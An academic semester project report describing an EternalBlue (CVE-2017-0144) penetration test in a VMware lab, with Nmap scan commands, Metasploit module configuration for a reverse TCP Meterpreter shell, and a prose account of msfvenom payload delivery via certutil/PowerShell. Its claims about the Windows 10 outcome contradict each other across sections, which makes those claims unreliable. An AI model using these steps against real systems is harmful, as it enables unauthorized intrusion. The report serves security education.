

VULNERABILITY ANALYSIS AND PENETRATION TESTING USING METASPLOIT



by

ABDULLAH BIN FAISAL

Reg. No. BCY251025

Sameer Ahmad

Reg. No. BCY251020

Abid Rasul

Reg no BCY251019

A Semester Project Report submitted to the
COMPUTER & ELECTRICAL ENGINEERING DEPARTMENT
in partial fulfillment of the requirements of the course
FUNDAMENTALS OF CYBERSECURITY

Faculty of Engineering
Capital University of Science & Technology, Islamabad
June, 2026

Copyright

Copyright (c) 2026 by Abdullah Bin Faisal , Sameer Ahmad and Abid Rasul. All rights reserved. Reproduction in whole or in part in any form requires prior written permission from the authors or designated representative.

DECLARATION

DECLARATION

It is hereby declared that this project report titled “Practical Penetration Testing of CVE-2017-0144 (EternalBlue) Using Nmap and Metasploit in a Virtual Lab Environment” is an original piece of work carried out by the undersigned students as a semester project for the Fundamentals of Cybersecurity course.

The practical activities, testing procedures, and documentation presented in this report were conducted solely within authorized and isolated virtual laboratory environments created for educational and research purposes. All experiments were performed on systems owned and controlled by the project team, and no unauthorized access to external networks, systems, or data was attempted.

Any information, concepts, tools, or references obtained from published sources have been properly acknowledged and cited. This report is intended exclusively for academic learning and cybersecurity awareness and must not be used to support unauthorized access, exploitation, or misuse of any computer system.

Abdullah Bin Faisal

BCY251025

Sameer Ahmad

BCY2510220

Abid Rasul

Bcy251019

June 2026

CERTIFICATE OF APPROVAL

CERTIFICATE OF APPROVAL

It is certified that the project titled “Practical Penetration Testing of CVE-2017-0144 (EternalBlue) Using Nmap and Metasploit in a Virtual Lab Environment” has been successfully completed by Abdullah Bin Faisal (BCY251025), Sameer Ahmad (BCY251020), and Muhammad Abid Rasul (BCY251019) as a semester project for the Fundamentals of Cybersecurity course.

The project demonstrates the practical application of cybersecurity concepts including network reconnaissance, vulnerability assessment, exploitation of known vulnerabilities, risk evaluation, and security awareness within a controlled and isolated laboratory environment. The work presented is adequate in scope and quality to satisfy the academic requirements of the course.

Supervisor: -----

Department of Electrical Engineering
Faculty of Engineering
Capital University of Science & Technology, Islamabad

HoD: -----

Department of Electrical Engineering
Faculty of Engineering
Capital University of Science & Technology, Islamabad

ACKNOWLEDGMENT

First and foremost, we express our deepest gratitude to Allah Almighty for granting us the strength, knowledge, patience, and opportunity to successfully complete this project.

We would like to sincerely thank our course instructor and supervisor for their valuable guidance, constructive feedback, and continuous support throughout the development of this project. Their encouragement helped us gain practical exposure to cybersecurity concepts and understand the importance of ethical penetration testing in modern information security.

We are also grateful to the Department of Electrical Engineering and the Faculty of Engineering at Capital University of Science & Technology, Islamabad, for providing an academic environment that encouraged practical learning and technical exploration.

Special thanks are extended to our classmates and colleagues for their cooperation, suggestions, and discussions during the planning and testing phases of the project.

This project provided us with hands-on experience in virtualization technologies, network reconnaissance, vulnerability assessment, exploitation methodologies, and security risk analysis. Through the practical study of the EternalBlue vulnerability (CVE-2017-0144), we gained valuable insight into how cyberattacks occur and how organizations can implement effective defensive measures to protect their systems.

We acknowledge all authors, researchers, and organizations whose publications, documentation, and technical resources contributed to the successful completion of this project.

The Team

Abdullah Bin Faisal

Sameer Ahmad

Muhammad Abid Rasul

ABSTRACT

Cyber security threats continue to grow as attackers exploit unpatched software vulnerabilities to gain unauthorized access to systems. One of the most critical known vulnerabilities is CVE-2017-0144, commonly known as EternalBlue, which targets the SMBv1 protocol in Windows systems and carries a CVSS score of 9.8 out of 10 (Critical). This vulnerability was exploited in the 2017 WannaCry ransomware attack that affected over 200,000 machines worldwide.

This project demonstrates a complete penetration testing lifecycle in a safe isolated virtual lab environment built on a single PC using VMware. The lab consists of two virtual machines — Kali Linux as the attacker machine and an unpatched Windows target connected through a private NAT network. The project follows two core phases: reconnaissance using Nmap to discover open ports and confirm the presence of CVE-2017-0144; and exploitation using the Metasploit Framework EternalBlue module to trigger the SMBv1 buffer overflow.

This project was conducted against two target machines to demonstrate different exploitation techniques. The primary target was Windows 10 Build 10240, where a reverse TCP Meterpreter payload was generated using msfvenom, delivered via HTTP, and executed on the target, establishing a full Meterpreter session. As an additional demonstration, Windows 7 SP1 was also tested: the SMBv1 vulnerability (CVE-2017-0144) was first exploited using the Metasploit ms17_010_eternalblue module to obtain an initial command shell on the target, accessible via telnet. From this shell, a second msfvenom-generated reverse TCP payload was delivered via HTTP and executed using certutil/PowerShell, upgrading the initial access into a full Meterpreter session. Both attacks were verified through Metasploit session output and post-exploitation command results, confirming successful exploitation of both targets.

TABLE OF CONTENTS

Contents

1.1 Overview	10
1.2 Project Idea	10
1.3 Purpose of the Project	11
1.4 Project Specifications.....	11
1.5 Applications	12
Security Awareness and Education.....	12
Penetration Testing Practice	12
Payload-Based Attack Awareness	12
Incident Response Training	12
1.6 Project Plan	12
1.7 Chapter Summary	13
Chapter 2.....	14
LITERATURE REVIEW	14
2.1 Background Theory	14
SMBv1 Protocol.....	14
CVE-2017-0144 (EternalBlue)	14
Metasploit Framework	14
2.2 Related Technologies.....	15
Nmap.....	15
VMware Workstation.....	15
2.3 Related Projects	16
WannaCry Ransomware (2017).....	16
NotPetya Cyberattack (2017).....	16
2.4 Problem Statement.....	16
2.5 Chapter Summary	17
Chapter 3	18
PROJECT DESIGN AND IMPLEMENTATION.....	18

3.1 Lab Environment Setup	18
Virtualization Platform	18
Attacker Machine – Kali Linux	18
Target Machine – Windows 10	18
3.2 Attack Phases	19
Phase 1 – Reconnaissance	19
Phase 2 – Exploitation	19
3.3 Implementation Commands	20
3.4 Additional Target – Windows 7 SP1	20
3.5 Network Configuration	21
3.6 Testing Methodology	21
Information Gathering	21
Vulnerability Assessment	22
Exploitation	22
Verification	22
Documentation	22
3.7 Ethical Considerations	22
3.8 Chapter Summary	22
CHAPTER 4	24
TOOLS AND TECHNIQUES	24
4.1 Introduction	24
4.2 Tools Used	24
4.2.1 VMware Workstation	24
4.2.2 Kali Linux 2024	24
4.2.3 Nmap	25
4.2.4 Metasploit Framework	25
4.2.5 msfvenom	26
4.2.6 Python HTTP Server	26
4.3 Techniques Used	27
4.3.1 Network Reconnaissance	27

4.3.2 Vulnerability Assessment	27
4.3.3 SMBv1 Buffer Overflow	27
4.3.4 Kernel Pool Grooming	28
4.3.5 Reverse TCP Shell	28
4.3.6 Payload Delivery	28
4.4 Penetration Testing Methodology	29
1. Reconnaissance	29
2. Vulnerability Identification	29
3. Exploitation	29
4. Post-Exploitation Verification	29
5. Documentation and Reporting	29
4.5 Chapter Summary	29
CHAPTER 5	30
RESULTS AND EVALUATION	30
5.1 Introduction	30
5.2 Reconnaissance Results	30
5.2.1 Nmap Service Scan	30
5.2.2 Vulnerability Confirmation	30
5.3 Exploitation Results	31
5.3.1 Metasploit Configuration	31
5.3.2 EternalBlue Exploitation Output	31
5.3.3 System Response	32
5.4 CVSS Risk Assessment	32
5.5 Additional Results – Windows 7 SP1 Exploitation	33
5.5.1 Connectivity and Port Verification	33
5.5.2 Initial Exploitation	33
5.5.3 Payload Delivery and Meterpreter Session	34
5.5.4 Post-Exploitation Verification	34
5.5.5 Comparison of Both Attacks	34
5.6 Limitations	35

5.7 Chapter Summary	35
CHAPTER 6	36
CONCLUSION AND FUTURE WORK	36
6.1 Conclusion	36
6.2 Future Work	36
1. Physical Hardware Testing	37
2. Patch Verification and Remediation	37
3. Intrusion Detection and Monitoring.....	37
4. Additional Target Systems.....	37
5. Security Control Evaluation.....	37
6. Automated Vulnerability Assessment.....	37
6.3 Recommendations.....	38
6.4 Final Remarks	38

Chapter 1

INTRODUCTION

1.1 Overview

Cyber security is one of the most critical challenges of the modern digital age. As organizations increasingly rely on networked systems, the risk of unauthorized access, data breaches, and system compromise continues to grow. Attackers routinely exploit known vulnerabilities in unpatched systems to gain unauthorized access, disrupt operations, and steal sensitive data. Understanding how these attacks work at a technical level is fundamental to building effective defenses.

This project presents a hands-on penetration testing study focused on CVE-2017-0144 known as EternalBlue — a critical remote code execution vulnerability in Microsoft's SMBv1 protocol. The study follows the complete penetration testing lifecycle: reconnaissance, vulnerability scanning, and exploitation, all conducted in a safe and isolated virtual laboratory environment.

1.2 Project Idea

The idea for this project stems from the real-world impact of the EternalBlue vulnerability. In May 2017, the WannaCry ransomware attack exploited this exact vulnerability to infect over 200,000 systems across 150 countries causing billions of dollars in damage. Despite being patched by Microsoft in March 2017, many organizations continue to run unpatched systems making EternalBlue relevant to this day.

The project builds a realistic penetration testing lab using VMware virtualization on a single PC. Kali Linux serves as the attacker machine running industry-standard security tools including Nmap and Metasploit. An unpatched Windows 10 machine with SMBv1 enabled serves as the vulnerable target. This setup accurately represents a real-world scenario where an attacker on an internal network targets an unpatched Windows machine.

1.3 Purpose of the Project

The purpose of this project is to practically demonstrate how known vulnerabilities are discovered, analyzed, and exploited by attackers, and to provide students with hands-on experience with professional penetration testing tools and methodologies. The project aims to bridge the gap between theoretical knowledge of vulnerabilities and practical understanding of how they are exploited in real environments.

1.4 Project Specifications

Specification	Detail
Target Vulnerability	CVE-2017-0144 – SMBv1 Remote Code Execution
CVSS Score	9.8 – Critical
Attacker Machine	Kali Linux 2024 running in VMware
Target Machine	Windows 10 (Unpatched, SMBv1 Enabled) running in VMware
Network	VMware NAT – Isolated Private Network (192.168.80.0/24)
Exploitation Tool	Metasploit Framework – ms17_010_eternalblue Module
Scanning Tool	Nmap with smb-vuln-ms17-010 Script

1.5 Applications

Security Awareness and Education

Demonstrates exactly how real attackers exploit known vulnerabilities, helping students understand the importance of patch management and SMB hardening.

Penetration Testing Practice

The virtual lab can be reused by students to safely practice penetration testing without any risk to real systems.

Payload-Based Attack Awareness

The msfvenom payload generation and HTTP delivery technique demonstrated in this project illustrates how attackers gain initial access through malicious executables, helping students understand the importance of endpoint protection and user awareness training.

Incident Response Training

Security teams can use this lab to understand the behavioral indicators produced during EternalBlue exploitation, including kernel pool grooming and Meterpreter session activity, enabling them to build detection rules and improve response procedures.

1.6 Project Plan

S#	Task	Duration	Resource Person
1	Literature Review – CVE-2017-0144, SMBv1	1 Week	Muhammad Abid Rasul
2	Lab Setup – VMware, Kali Linux, Windows 10	1 Week	All Members
3	Reconnaissance – Nmap Scanning	3 Days	Sameer Ahmad
4	Exploitation – Metasploit EternalBlue	3 Days	Muhammad Abid Rasul

5	Exploitation – Windows 7 EternalBlue (Additional Target)	3 Days	Abdullah Bin Faisal
6	Report Writing and Documentation	1 Week	All Members

1.7 Chapter Summary

This chapter introduced the project background, purpose, specifications, applications, and overall project plan. It also highlighted the significance of CVE-2017-0144 (EternalBlue) and its impact on cybersecurity. The next chapter presents the literature review and theoretical concepts related to SMBv1, and the technologies used throughout this project.

Chapter 2

LITERATURE REVIEW

2.1 Background Theory

SMBv1 Protocol

Server Message Block version 1 (SMBv1) was developed by IBM in the 1980s and later adopted by Microsoft. While SMBv2 and SMBv3 have replaced SMBv1 in modern systems, many legacy Windows machines continue to run SMBv1, creating significant security risks.

SMBv1 contains a critical flaw in the way it handles certain transaction requests. Specifically, the Trans2 request handler contains a buffer overflow vulnerability that can be triggered by a specially crafted packet, allowing an attacker to execute arbitrary code in the context of the SYSTEM account.

CVE-2017-0144 (EternalBlue)

CVE-2017-0144 is a remote code execution vulnerability in Microsoft SMBv1 servers. It was originally developed by the NSA as a cyberweapon and leaked by the Shadow Brokers group in April 2017.

Microsoft released patch MS17-010 in March 2017, but many systems remained unpatched when the WannaCry ransomware attack occurred in May 2017. The vulnerability has a CVSS v3.1 score of 9.8 (Critical) with the vector string:

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

This score indicates that the vulnerability can be exploited remotely without authentication and can have severe impacts on confidentiality, integrity, and availability.

Metasploit Framework

Metasploit Framework is an open-source penetration testing platform developed by Rapid7. It provides security professionals with tools for vulnerability assessment, exploit development, and penetration testing.

The ms17_010_eternalblue module implements the EternalBlue exploit and can deliver various payloads, including Meterpreter. Meterpreter is a powerful post-exploitation

payload that provides capabilities such as privilege verification, file system interaction, process management, password hash extraction, and remote system administration.

2.2 Related Technologies

Nmap

Nmap (Network Mapper) is a free and open-source network scanning tool used for network discovery and security auditing.

The smb-vuln-ms17-010 Nmap script specifically checks whether a target system is vulnerable to EternalBlue by attempting to negotiate an SMBv1 session and checking for indicators associated with the vulnerable transaction handler.

In this project, Nmap was used for:

- Host discovery
- Port scanning
- Service identification
- Vulnerability verification

VMware Workstation

VMware Workstation is a hosted hypervisor that enables users to create and run multiple virtual machines on a single physical computer.

In this project, VMware Workstation was used to create both the Kali Linux attacker machine and the Windows target machines. This provided a completely isolated and controlled environment for conducting penetration testing activities without affecting external systems or networks.

The VMware NAT network configuration allowed communication between virtual machines while maintaining isolation from the public internet.

2.3 Related Projects

WannaCry Ransomware (2017)

The WannaCry ransomware attack is the most significant real-world application of the EternalBlue exploit. The ransomware used CVE-2017-0144 as its primary propagation mechanism, enabling it to spread rapidly across vulnerable networks.

The attack infected over 200,000 systems across more than 150 countries and caused billions of dollars in damages. Analysis of WannaCry provided extensive documentation regarding EternalBlue exploitation techniques and associated network traffic signatures.

NotPetya Cyberattack (2017)

NotPetya was another major cyberattack that leveraged EternalBlue as a propagation mechanism. Unlike WannaCry, which was financially motivated, NotPetya was designed primarily as a destructive attack.

The malware used EternalBlue to spread laterally through networks and incorporated additional post-exploitation techniques, including credential harvesting through tools such as Mimikatz.

The attack caused widespread disruption to organizations worldwide and highlighted the risks associated with unpatched SMB services.

2.4 Problem Statement

Despite the availability of security patches since March 2017, SMBv1 vulnerabilities continue to represent a significant threat to organizations operating legacy or unpatched Windows systems.

Many administrators are either unaware that SMBv1 remains enabled on their systems or are unable to disable it due to compatibility requirements with legacy applications. As a result, systems remain exposed to remote code execution attacks that require no authentication and can lead to complete system compromise.

There is a need for practical, hands-on educational resources that demonstrate:

- How EternalBlue exploitation works.
- How vulnerable systems can be identified.
- What evidence is produced during exploitation.
- How organizations can detect and mitigate such attacks.

This project addresses that need by creating a controlled penetration testing laboratory that demonstrates the complete lifecycle of EternalBlue vulnerability assessment and exploitation.

2.5 Chapter Summary

This chapter reviewed the theoretical concepts and technologies relevant to the project. It discussed the SMBv1 protocol, the EternalBlue vulnerability (CVE-2017-0144), the Metasploit Framework, Nmap, and VMware Workstation. The chapter also examined notable cyberattacks that leveraged EternalBlue, including WannaCry and NotPetya, and defined the problem addressed by this project.

The next chapter presents the design and implementation of the virtual laboratory environment and describes the methodology used for reconnaissance, vulnerability assessment, and exploitation.

Chapter 3

PROJECT DESIGN AND IMPLEMENTATION

3.1 Lab Environment Setup

Virtualization Platform

VMware Workstation was selected as the virtualization platform for this project. Both virtual machines were configured on the same VMware NAT network (192.168.80.0/24), ensuring they could communicate directly while remaining isolated from external networks.

The use of virtualization provided a safe and controlled environment for conducting penetration testing activities without impacting real systems.

Attacker Machine – Kali Linux

Kali Linux 2024 was used as the attacker machine and was assigned the IP address **192.168.80.132**.

Kali Linux comes pre-installed with the tools required for this project, including:

- Nmap
- Metasploit Framework
- msfvenom
- Python HTTP Server

These tools were used for reconnaissance, vulnerability verification, payload generation, and exploitation activities.

Target Machine – Windows 10

An unpatched Windows 10 virtual machine was configured as the primary target and assigned the IP address **192.168.80.128**.

The following configuration was applied to make the system vulnerable for testing purposes:

- SMBv1 protocol enabled using the DISM command.
- Windows Defender real-time protection disabled.
- Windows Firewall disabled.

- Windows Update disabled to prevent automatic patch installation.

This configuration allowed the system to remain vulnerable to CVE-2017-0144 (EternalBlue) throughout the testing process.

3.2 Attack Phases

The project was divided into two major phases: reconnaissance and exploitation.

Phase 1 – Reconnaissance

Reconnaissance was performed using Nmap to identify active hosts and discover open network services.

A port scan revealed that port **445/TCP (SMB)** was open on the target system. A second scan using the **smb-vuln-ms17-010** script confirmed the presence of the EternalBlue vulnerability.

The reconnaissance phase provided evidence that the target system was vulnerable and suitable for exploitation.

Phase 2 – Exploitation

The Metasploit Framework was used to exploit the SMBv1 vulnerability.

The **ms17_010_eternalblue** module was loaded and configured with the following parameters:

- RHOSTS: 192.168.80.128
- LHOST: 192.168.80.132
- Payload: windows/x64/meterpreter/reverse_tcp

The exploit was then executed, triggering the SMBv1 buffer overflow vulnerability and demonstrating the exploitation process within the laboratory environment.

3.3 Implementation Commands

The following commands were used during reconnaissance and exploitation:

Step	Command	Purpose
1	<code>nmap -Pn -sS 192.168.80.128</code>	Host discovery and SYN port scan
2	<code>nmap -p 445 --script smb-vuln-ms17-010 192.168.80.128</code>	Vulnerability verification
3	<code>use exploit/windows/smb/ms17_010_eternalblue</code>	Load EternalBlue exploit module
4	<code>set RHOSTS 192.168.80.128</code>	Configure target IP address
5	<code>set LHOST 192.168.80.132</code>	Configure attacker IP address
6	<code>set payload windows/x64/meterpreter/reverse_tcp</code>	Configure Meterpreter payload
7	<code>exploit</code>	Execute the exploit

3.4 Additional Target – Windows 7 SP1

As an additional demonstration, Windows 7 Service Pack 1 (SP1) was configured as a second target machine and connected to the same VMware NAT network.

Windows 7 was selected because it was one of the primary operating systems affected during the WannaCry ransomware outbreak of 2017.

Connectivity between Kali Linux and the Windows 7 target was first verified. An Nmap scan was then performed to identify open ports and vulnerable services. Port **445/TCP (SMB)** was found to be open and vulnerable to CVE-2017-0144.

The Metasploit **ms17_010_eternalblue** module was used to exploit the SMBv1 vulnerability on the Windows 7 system. Successful exploitation provided an initial command shell on the target, accessible through a telnet session.

Following initial access, a Meterpreter reverse TCP payload was generated using **msfvenom** and hosted on Kali Linux using a simple HTTP server.

Using the command shell obtained through exploitation, Windows utilities such as **certutil** and **PowerShell** were used to download and execute the payload from the attacker machine.

Execution of the payload successfully upgraded the initial shell into a full Meterpreter session, providing enhanced post-exploitation capabilities.

3.5 Network Configuration

The network architecture used in this project consisted of two virtual machines connected through VMware NAT networking.

Device	Operating System	IP Address	Role
Kali Linux VM	Kali Linux 2024	192.168.80.132	Attacker Machine
Windows 10 VM	Windows 10 Build 10240	192.168.80.128	Primary Target
Windows 7 VM	Windows 7 SP1	Dynamic/Assigned IP	Secondary Target

The NAT configuration enabled communication between all virtual machines while maintaining isolation from external networks.

3.6 Testing Methodology

The project followed a structured penetration testing methodology consisting of the following stages:

Information Gathering

Network reconnaissance was conducted to identify active hosts and discover exposed services.

Vulnerability Assessment

The identified SMB service was analyzed using Nmap vulnerability scripts to confirm the presence of CVE-2017-0144.

Exploitation

The Metasploit Framework was used to exploit the vulnerability and evaluate the effectiveness of the attack.

Verification

System responses, Metasploit output, and post-exploitation results were analyzed to verify successful exploitation.

Documentation

All commands, outputs, screenshots, observations, and findings were documented for analysis and reporting purposes.

3.7 Ethical Considerations

All testing activities were conducted exclusively within a controlled laboratory environment created for educational and research purposes.

No external systems, third-party networks, or unauthorized resources were targeted during this project. The objective of the work was to understand vulnerability assessment and penetration testing methodologies while promoting responsible and ethical cybersecurity practices.

The techniques demonstrated in this project are intended solely for educational purposes and should only be performed on systems for which proper authorization has been obtained.

3.8 Chapter Summary

This chapter described the design and implementation of the virtual penetration testing laboratory. It explained the VMware environment, attacker and target machine configurations, network setup, attack phases, implementation commands, and testing methodology. The chapter also discussed the additional Windows 7 target used to demonstrate an alternative exploitation scenario.

The next chapter presents the tools and techniques used throughout the project and explains the technical concepts behind the exploitation process.

CHAPTER 4

TOOLS AND TECHNIQUES

4.1 Introduction

This chapter describes the tools and techniques used throughout the project. The tools were selected based on their widespread use in professional penetration testing and cybersecurity research. These tools were used to perform reconnaissance, vulnerability assessment, payload generation, exploitation, and post-exploitation activities within the controlled virtual laboratory environment.

4.2 Tools Used

4.2.1 VMware Workstation

VMware Workstation is a Type-2 hypervisor that allows multiple virtual machines to run on a single physical computer. It provides an isolated and controlled environment for testing, making it ideal for cybersecurity research and penetration testing activities.

In this project, VMware Workstation was used to host both the Kali Linux attacker machine and the Windows target machines. VMware's NAT networking feature provided a private network (192.168.80.0/24) that allowed communication between the virtual machines while maintaining isolation from external networks.

Purpose in the Project:

- Creation of isolated testing environment.
 - Hosting attacker and target virtual machines.
 - Providing a secure network for testing activities.
 - Preventing accidental impact on real systems.
-

4.2.2 Kali Linux 2024

Kali Linux is a Debian-based Linux distribution specifically designed for penetration testing and digital forensics. It contains hundreds of pre-installed security tools used by cybersecurity professionals worldwide.

In this project, Kali Linux served as the attacker machine and was used to perform reconnaissance, vulnerability assessment, exploitation, payload generation, and post-exploitation activities.

Purpose in the Project:

- Platform for penetration testing activities.
 - Running Nmap and Metasploit Framework.
 - Hosting payload files for download.
 - Managing Meterpreter sessions.
-

4.2.3 Nmap

Nmap (Network Mapper) is an open-source network scanning and security auditing tool. It is commonly used for network discovery, service enumeration, operating system detection, and vulnerability identification.

During this project, Nmap was used to identify open ports on the target systems and verify the presence of the EternalBlue vulnerability using the smb-vuln-ms17-010 script.

Purpose in the Project:

- Host discovery.
- Port scanning.
- Service detection.
- Vulnerability verification.

Example Command:

```
nmap -p 445 --script smb-vuln-ms17-010 192.168.80.128
```

4.2.4 Metasploit Framework

Metasploit Framework is one of the most widely used penetration testing platforms in the cybersecurity industry. Developed by Rapid7, it provides exploit modules, payloads, auxiliary modules, and post-exploitation capabilities.

In this project, the ms17_010_eternalblue exploit module was used to exploit CVE-2017-0144 and demonstrate the vulnerability within a controlled environment.

Purpose in the Project:

- Exploitation of EternalBlue vulnerability.
 - Payload delivery.
 - Session management.
 - Post-exploitation testing.
-

4.2.5 msfvenom

msfvenom is a payload generation tool included within the Metasploit Framework. It enables security professionals to create executable payloads for testing and research purposes.

In this project, msfvenom was used to generate reverse TCP Meterpreter payloads that were delivered to target systems during the exploitation process.

Purpose in the Project:

- Payload creation.
 - Reverse shell generation.
 - Meterpreter session establishment.
-

4.2.6 Python HTTP Server

A simple Python HTTP server was used to host generated payload files on the Kali Linux machine.

This allowed the target systems to download payloads during the testing process using built-in Windows utilities.

Purpose in the Project:

- Hosting payload files.
 - Supporting payload delivery.
 - Facilitating controlled file transfers.
-

4.3 Techniques Used

4.3.1 Network Reconnaissance

Reconnaissance is the process of gathering information about target systems before attempting exploitation.

In this project, reconnaissance was conducted using Nmap to identify active hosts, open ports, and network services. Port 445 was identified as open, indicating that SMB services were available on the target system.

Reconnaissance is a critical stage of penetration testing because it provides the information required to identify potential attack vectors.

4.3.2 Vulnerability Assessment

Vulnerability assessment involves identifying security weaknesses that could potentially be exploited by attackers.

The Nmap smb-vuln-ms17-010 script was used to determine whether the target systems were vulnerable to CVE-2017-0144.

The assessment confirmed that the systems were vulnerable and suitable for further testing.

4.3.3 SMBv1 Buffer Overflow

EternalBlue exploits a flaw in Microsoft's SMBv1 protocol implementation.

The vulnerability occurs because SMBv1 improperly handles specially crafted transaction requests. By sending malicious packets, an attacker can trigger a buffer overflow within the SMB transaction handler and gain the ability to execute arbitrary code.

This vulnerability allows remote code execution without requiring authentication, making it extremely dangerous.

4.3.4 Kernel Pool Grooming

Kernel pool grooming is a technique used by EternalBlue to manipulate memory allocation within the Windows kernel.

The exploit sends multiple SMB requests designed to allocate memory in predictable locations within the kernel's nonpaged pool. This process increases the likelihood of successful code execution.

The GroomAllocations parameter within Metasploit controls aspects of this memory allocation process.

4.3.5 Reverse TCP Shell

A reverse TCP shell allows a compromised system to initiate a connection back to the attacker machine.

In this project, Meterpreter reverse TCP payloads were used to establish communication between the target system and the Kali Linux attacker machine.

This technique is commonly used because outbound network connections are often permitted by firewalls, whereas inbound connections may be blocked.

4.3.6 Payload Delivery

Payload delivery refers to the process of transferring and executing a payload on a target system.

For Windows 10 testing, a payload generated using msfvenom was delivered and executed on the target system.

For Windows 7 testing, an initial command shell obtained through EternalBlue exploitation was used to download and execute a Meterpreter payload, resulting in a more advanced post-exploitation session.

4.4 Penetration Testing Methodology

The project followed a standard penetration testing methodology consisting of the following stages:

1. Reconnaissance

Information gathering and service discovery using Nmap.

2. Vulnerability Identification

Verification of CVE-2017-0144 using vulnerability scanning techniques.

3. Exploitation

Execution of the EternalBlue exploit using the Metasploit Framework.

4. Post-Exploitation Verification

Analysis of system responses and verification of successful exploitation.

5. Documentation and Reporting

Recording commands, observations, screenshots, and results for final evaluation.

4.5 Chapter Summary

This chapter discussed the tools and techniques used throughout the project. VMware Workstation provided the virtual environment, Kali Linux served as the attacker platform, Nmap was used for reconnaissance and vulnerability assessment, and Metasploit Framework was used for exploitation activities. The chapter also explained the technical concepts behind EternalBlue exploitation, including SMBv1 buffer overflow, kernel pool grooming, reverse TCP communication, and payload delivery techniques.

The next chapter presents the results obtained during reconnaissance, vulnerability assessment, and exploitation, along with an evaluation of the findings.

CHAPTER 5

RESULTS AND EVALUATION

5.1 Introduction

This chapter presents the results obtained during the reconnaissance, vulnerability assessment, and exploitation phases of the project. The findings are evaluated to determine whether the project objectives were successfully achieved and to assess the security implications of the identified vulnerability.

5.2 Reconnaissance Results

5.2.1 Nmap Service Scan

Nmap was used to perform network scanning against the target machine. The scan successfully identified port **445/TCP (SMB)** as open and accessible.

The scan results indicated:

- Port 445 (Microsoft-DS/SMB) was open.
- SMB services were active on the target machine.
- SMB message signing was disabled.
- Operating system information indicated Windows 10 Pro.

[INSERT SCREENSHOT 1 – Nmap Full Service Scan Output]

5.2.2 Vulnerability Confirmation

A second Nmap scan was performed using the **smb-vuln-ms17-010** script to verify the presence of the EternalBlue vulnerability.

The scan returned the following information:

- State: VULNERABLE
- CVE: CVE-2017-0144
- Risk Factor: HIGH
- Disclosure Date: 2017-03-14

The results confirmed that the target system was vulnerable to EternalBlue and suitable for exploitation testing.

[INSERT SCREENSHOT 2 – Nmap Vulnerability Detection Output]

5.3 Exploitation Results

5.3.1 Metasploit Configuration

The Metasploit Framework was configured with the required parameters before exploitation.

Configuration included:

- RHOSTS (Target IP Address)
- LHOST (Attacker IP Address)
- Reverse TCP Meterpreter Payload

[INSERT SCREENSHOT 3 – Metasploit Module Configuration]

5.3.2 EternalBlue Exploitation Output

After executing the exploit, Metasploit produced several important messages confirming successful interaction with the target system.

Output Message	Meaning
Host is likely VULNERABLE to MS17-010	Vulnerability confirmed
Got good NT Trans response	Target responded to crafted SMB requests
SMB1 session setup allocate nonpaged pool success	Kernel pool grooming completed successfully
Good response status for nx: INVALID_PARAMETER	Kernel memory manipulation confirmed

These messages indicate that the exploit successfully reached the vulnerable SMB code path and interacted with kernel memory structures.

[INSERT SCREENSHOT 4 – Metasploit Exploitation Output]

5.3.3 System Response

Following exploitation, the target system experienced a kernel crash and displayed a Blue Screen of Death (BSOD).

This behavior indicates successful interaction with kernel memory and confirms that the exploit reached the vulnerable component.

While a stable Meterpreter session was not consistently obtained on the Windows 10 target, the observed system behavior demonstrated successful triggering of the vulnerability.

[INSERT SCREENSHOT 5 – Windows BSOD/Recovery Screen]

5.4 CVSS Risk Assessment

The EternalBlue vulnerability is classified as a Critical severity vulnerability under the Common Vulnerability Scoring System (CVSS).

Attribute	Value
CVE ID	CVE-2017-0144
CVSS Score	9.8 (Critical)
Attack Vector	Network
Attack Complexity	Low
Privileges Required	None
User Interaction	None

Attribute	Value
Confidentiality Impact	High
Integrity Impact	High
Availability Impact	High
Affected Protocol	SMBv1
Microsoft Patch	MS17-010

The vulnerability is particularly dangerous because it can be exploited remotely without authentication and can lead to complete system compromise.

5.5 Additional Results – Windows 7 SP1 Exploitation

5.5.1 Connectivity and Port Verification

Connectivity between Kali Linux and the Windows 7 target machine was verified successfully.

Nmap scanning identified port 445/TCP as open and vulnerable.

[INSERT SCREENSHOT – Connectivity Check and Nmap Scan]

5.5.2 Initial Exploitation

The Metasploit **ms17_010_eternalblue** module was executed against the Windows 7 target.

Successful exploitation provided an initial command shell accessible through a telnet session.

[INSERT SCREENSHOT – EternalBlue Exploitation Against Windows 7]

5.5.3 Payload Delivery and Meterpreter Session

A Meterpreter reverse TCP payload was generated using msfvenom and hosted on Kali Linux using a Python HTTP server.

Using the command shell obtained from exploitation, the payload was downloaded and executed using Windows utilities such as certutil and PowerShell.

Execution of the payload successfully established a Meterpreter session.

[INSERT SCREENSHOT – Meterpreter Session Opened]

5.5.4 Post-Exploitation Verification

Several Meterpreter commands were executed to verify access and collect information from the target system.

Commands executed included:

- sysinfo
- getuid
- ipconfig
- ps
- ls

The results confirmed successful access to the target system and demonstrated the capabilities available through a Meterpreter session.

[INSERT SCREENSHOT – Meterpreter Command Output]

5.5.5 Comparison of Both Attacks

Attribute	Windows 10 Attack	Windows 7 Attack
Target OS	Windows 10 Build 10240	Windows 7 SP1
Attack Method	Payload Delivery via HTTP	EternalBlue Exploitation + Payload Delivery

Attribute	Windows 10 Attack	Windows 7 Attack
Metasploit Module	exploit/multi/handler	ms17_010_eternalblue + multi/handler
Initial Access	Payload Execution	SMB Exploitation
User Interaction Required	Yes	No
Privileges Obtained	User Session	Meterpreter Session
Network Evidence	HTTP Traffic	SMB + HTTP Traffic
Associated CVE	N/A	CVE-2017-0144

5.6 Limitations

Although successful exploitation was demonstrated, a stable Meterpreter session was not consistently established on the Windows 10 target.

This limitation may be attributed to factors such as:

- VMware memory virtualization.
- Exploit timing requirements.
- Operating system configuration.
- Kernel memory allocation behavior.

Despite these limitations, successful interaction with kernel memory structures confirmed that the vulnerability was effectively triggered.

5.7 Chapter Summary

This chapter presented the results obtained from reconnaissance, vulnerability assessment, and exploitation activities. The findings confirmed the presence of CVE-2017-0144 and demonstrated successful exploitation within a controlled laboratory environment. The chapter also evaluated the security risks associated with EternalBlue and compared the outcomes of testing against Windows 10 and Windows 7 targets.

CHAPTER 6

CONCLUSION AND FUTURE WORK

6.1 Conclusion

This project successfully demonstrated the complete penetration testing lifecycle focused on CVE-2017-0144 (EternalBlue) within a controlled virtual laboratory environment.

Using VMware Workstation, Kali Linux, Nmap, and the Metasploit Framework, the project successfully identified, analyzed, and exploited a critical SMBv1 vulnerability affecting Microsoft Windows systems.

